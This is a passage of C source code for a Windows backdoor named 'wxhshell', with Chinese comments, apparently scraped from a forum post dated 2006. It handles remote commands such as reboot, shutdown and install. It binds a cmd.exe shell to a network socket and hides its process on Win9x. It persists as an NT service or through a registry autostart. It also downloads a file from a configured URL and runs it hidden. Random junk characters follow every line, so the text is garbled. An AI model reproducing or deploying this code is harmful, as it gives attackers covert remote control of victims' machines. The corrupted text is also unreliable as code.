  // 帮助 h6 {vbYj  
  case '?': { D#b*M)X"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sl G v  
    break; %hsCB .r>|  
  } VTu#)I7A^@  
  // 安装 0I)$!1~O)  
  case 'i': { |nZ^RCHog  
    if(Install()) 985F(r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4w^o !  
    else q++r\d^{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cf=H~&`Z  
    break; dtC@cK/,D  
    } [yXmnrxA  
  // 卸载 tk%f_"}  
  case 'r': { E$)|Kv^  
    if(Uninstall()) 'dwT&v]@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y[6T7eZ0g  
    else }`B .(3n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R ZY=c  
    break; R+M=)Z  
    } .>B'oD  
  // 显示 wxhshell 所在路径 &u.{]Yjx  
  case 'p': { vFVUdxPOw  
    char svExeFile[MAX_PATH];  VGV-t  
    strcpy(svExeFile,"\n\r"); lGd'_~'=  
      strcat(svExeFile,ExeFile); xol%\$|  
        send(wsh,svExeFile,strlen(svExeFile),0); +.V+@!  
    break; fg^25g'_  
    } 86r"hy~  
  // 重启 k&dXK  
  case 'b': { egaX[ j r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E=s,-  
    if(Boot(REBOOT)) ] 3{t}qY$A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0^ODJ7  
    else { n[3z_Q I  
    closesocket(wsh); c{=Sy;i@  
    ExitThread(0); PM\Ju]  
    } M~:_^B  
    break; rVz.Ws#  
    } F0:]@0>r  
  // 关机 RQ,#TbAe  
  case 'd': { lMFR_g?r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]8p{A#1  
    if(Boot(SHUTDOWN))  Z1 D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pDR~SxBXr  
    else { Mn0.! J "  
    closesocket(wsh); U#3N90,N=  
    ExitThread(0); L`+[mX&2B  
    } P@7>R7gS  
    break; (T%F^s5D  
    } *g(d}C!  
  // 获取shell ?@b6(f xX  
  case 's': { [6!k:-t+  
    CmdShell(wsh); H/D=$)3op  
    closesocket(wsh); #1<m\z7l  
    ExitThread(0); kKyU?/aj  
    break; @>8(f#S%  
  } FuHBzBoM=  
  // 退出 Tv``\<   
  case 'x': { sVFO&|L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~apt, hl  
    CloseIt(wsh); ^j<v~GT x+  
    break; -<g9 ) CV5  
    } z$1RD)TQB  
  // 离开 :5k* kx#y  
  case 'q': { T)! }Wvv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,&o9\|ih7]  
    closesocket(wsh); J n.7W5v  
    WSACleanup(); `^)`J  
    exit(1); ,P~e)<.  
    break; R$:-~<O  
        } tiK M+ ;C  
  } =Vg~ VD   
  } V;SfW2`)  
K?l|1jez(#  
  // 提示信息 TK5$-6k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [+[ W\6  
} 0LQRQuh1  
  } ;j0.#P:a  
aCU[9Xr?  
  return; #/qcp|m  
} maa pX/J  
0AnL]`"t.3  
// shell模块句柄 e@hPb$7  
int CmdShell(SOCKET sock) C >OeULD  
{ HYl+xH'.j  
STARTUPINFO si; Q=Q+*oog  
ZeroMemory(&si,sizeof(si)); :V9Q<B^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r9f- C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JQ+Mg&&Q  
PROCESS_INFORMATION ProcessInfo; r`"_D%kc  
char cmdline[]="cmd"; w hI4@#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |]kiH^Ap  
  return 0;  U#f*  
} g!0 j1  
KE\>T:  
// 自身启动模式 ~criZI/  
int StartFromService(void) H;=yR]E  
{ Kj0)/Fjl+  
typedef struct T)tr"<F5NP  
{ >D=X Tgqqq  
  DWORD ExitStatus; mpYBMSLM  
  DWORD PebBaseAddress; &wNr2PHd#  
  DWORD AffinityMask; n l5+#e*\  
  DWORD BasePriority; QmBHD;Gf  
  ULONG UniqueProcessId; x.gzsd  
  ULONG InheritedFromUniqueProcessId; q`AsnAzo&  
}   PROCESS_BASIC_INFORMATION; pll5m7[  
~Dg:siw  
PROCNTQSIP NtQueryInformationProcess; /8Lb_QH{  
3@F U-k,i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DvWBvs,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Zx| L/\  
+^:uPW^U  
  HANDLE             hProcess; 6X ]I`e  
  PROCESS_BASIC_INFORMATION pbi; H~[q<ybxr  
li3X}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =YM  
  if(NULL == hInst ) return 0; c%<81Y=  
8?~>FLWTXZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +46& Zb35  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zRh)q,Dt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?(s9dS,7wZ  
:Nz TEK  
  if (!NtQueryInformationProcess) return 0; L{sFR^-G  
CS%ut-K<5M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u}'m7|)8  
  if(!hProcess) return 0; _bh$ t  
*4 m]UK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |$8N*7UD  
KjA7x  
  CloseHandle(hProcess); m[ S1  
P EzT|uY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V\Lh(zPt  
if(hProcess==NULL) return 0; |}l/6WHB  
MDpx@.A,  
HMODULE hMod; \hJLa  
char procName[255]; USE!  
unsigned long cbNeeded; Ow0~sFz  
.ErR-p=-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~ LH).\V  
3&X5*-U  
  CloseHandle(hProcess); \KEmfCx'n  
ziAn9/sT  
if(strstr(procName,"services")) return 1; // 以服务启动 7vqE @;:dt  
d.snD)X  
  return 0; // 注册表启动 %z1hXh#+  
} ylmVmHmc  
q|.0Ja  
// 主模块 2J(,Xf  
int StartWxhshell(LPSTR lpCmdLine) o hPXwp?]  
{ ,=6;dT  
  SOCKET wsl; 6%VRQ#g!  
BOOL val=TRUE; %e: hVU  
  int port=0; _T^@,!&  
  struct sockaddr_in door; <XpG5vV  
!;PKx]/&  
  if(wscfg.ws_autoins) Install(); btf]~YN  
:JxuaM8  
port=atoi(lpCmdLine); g*U[?I"sC  
h>NuQo*  
if(port<=0) port=wscfg.ws_port; ds+0y;vc  
P= 26! b  
  WSADATA data; }5gQ dj[Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7baQ4QY?n  
M-f; ,>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o 3 G*   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $T'lWD*  
  door.sin_family = AF_INET; /vPcg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b;e*`f8T3c  
  door.sin_port = htons(port); sU?%"q  
"IdN*K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >x1?t  
closesocket(wsl); !vSj1w  
return 1; DmpD`^?-L  
} 8z"*CJ@  
]OA8H[U-eA  
  if(listen(wsl,2) == INVALID_SOCKET) { %wux#"8  
closesocket(wsl); U{.yX7  
return 1; v+`gQXJ"G  
} $~.'Tnk)  
  Wxhshell(wsl); )1 !*N)$  
  WSACleanup(); &Ukh  
LZ*ZXFIg  
return 0; GZqy.AE,  
O9[Dae{i  
} 4Q(GX.5  
uY|-: =  
// 以NT服务方式启动 L,wEUI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  [E|%  
{ OAZ5I)D>  
DWORD   status = 0; qUtlh,4)  
  DWORD   specificError = 0xfffffff; ]eZrb%B .  
q'[q]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6w:M_tDM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sDnXgCcS!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =6:>C9  
  serviceStatus.dwWin32ExitCode     = 0; +>S\.h s4  
  serviceStatus.dwServiceSpecificExitCode = 0; zU,Qph ,<  
  serviceStatus.dwCheckPoint       = 0; h#rziZ(  
  serviceStatus.dwWaitHint       = 0; aaM76;  
aoVfvz2Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `8D}\w<eI  
  if (hServiceStatusHandle==0) return; yd4\%%]  
jou741  
status = GetLastError(); Sr?2~R0&  
  if (status!=NO_ERROR) iSg^np  
{ "nEfk{g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WvJidz?5  
    serviceStatus.dwCheckPoint       = 0; %d#h<e|,.  
    serviceStatus.dwWaitHint       = 0; of k@.TmO  
    serviceStatus.dwWin32ExitCode     = status; ^J-\s_)"  
    serviceStatus.dwServiceSpecificExitCode = specificError; I8:A]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {gwJ>]z"e  
    return; (Ld,<!eN0  
  } =9AX\2w*H;  
I=G-(L/&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .>Fy ]Cqoh  
  serviceStatus.dwCheckPoint       = 0; txp^3dZ`^  
  serviceStatus.dwWaitHint       = 0; \=NS@_t,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yhSbX4Q  
} hiQ #<  
T>2_r6;  
// 处理NT服务事件,比如:启动、停止 waI:w,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) + #V.6i  
{ 1 ms(03dp  
switch(fdwControl) gJC~$/2  
{ s7> a  
case SERVICE_CONTROL_STOP: :[C"}m R1  
  serviceStatus.dwWin32ExitCode = 0; fS#I?!*}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]w;!x7bU(  
  serviceStatus.dwCheckPoint   = 0; ]]^eIjg>a6  
  serviceStatus.dwWaitHint     = 0; 3JJEj1O  
  { me@xl }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ 9`O ^  
  } ,\Uc/w R  
  return; B9h'}460H  
case SERVICE_CONTROL_PAUSE: ; xx u,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >Xv Fg  
  break; T1[B*RwC  
case SERVICE_CONTROL_CONTINUE: @D@_PA)e(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =jIP29+  
  break; # m;|QWW  
case SERVICE_CONTROL_INTERROGATE: .TpM3b#r  
  break; { d|lN:B  
}; 0n-S%e5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !l5&>1?  
} e` {F7rd:  
wx[Y2lUh6  
// 标准应用程序主函数 /|#";QsPN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jWNF3\  
{ F*TkQ\y  
Or<OmxJg  
// 获取操作系统版本 ZXH{9hxd  
OsIsNt=GetOsVer(); "l[ c/q[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w gU2q|  
&Fy})/F3v  
  // 从命令行安装 WinwPn+9  
  if(strpbrk(lpCmdLine,"iI")) Install(); n&\DJzW\#  
h}&1 7M  
  // 下载执行文件 ;5!M+nk  
if(wscfg.ws_downexe) { 9gQ ]!Oq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N4rDe]JnPR  
  WinExec(wscfg.ws_filenam,SW_HIDE); D7|qFx;]g  
} Zt/4|&w  
}=$>w@mJ  
if(!OsIsNt) { v4Mn@e_#c  
// 如果时win9x,隐藏进程并且设置为注册表启动 >e M> Y@8=  
HideProc(); 0f9*=c  
StartWxhshell(lpCmdLine); JrNqS[c/  
} Wi<g  
else K.r "KxCm|  
  if(StartFromService()) vugGMP;D(  
  // 以服务方式启动 #M@Ki1  
  StartServiceCtrlDispatcher(DispatchTable); J-5E# v  
else KvY1bMU!  
  // 普通方式启动 &e)V!o@wJV  
  StartWxhshell(lpCmdLine); T%O2=h\} E  
U^ ;H{S  
return 0; #,CK;h9jy!  
}
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只看该作者 1 发表于: 2006-10-10
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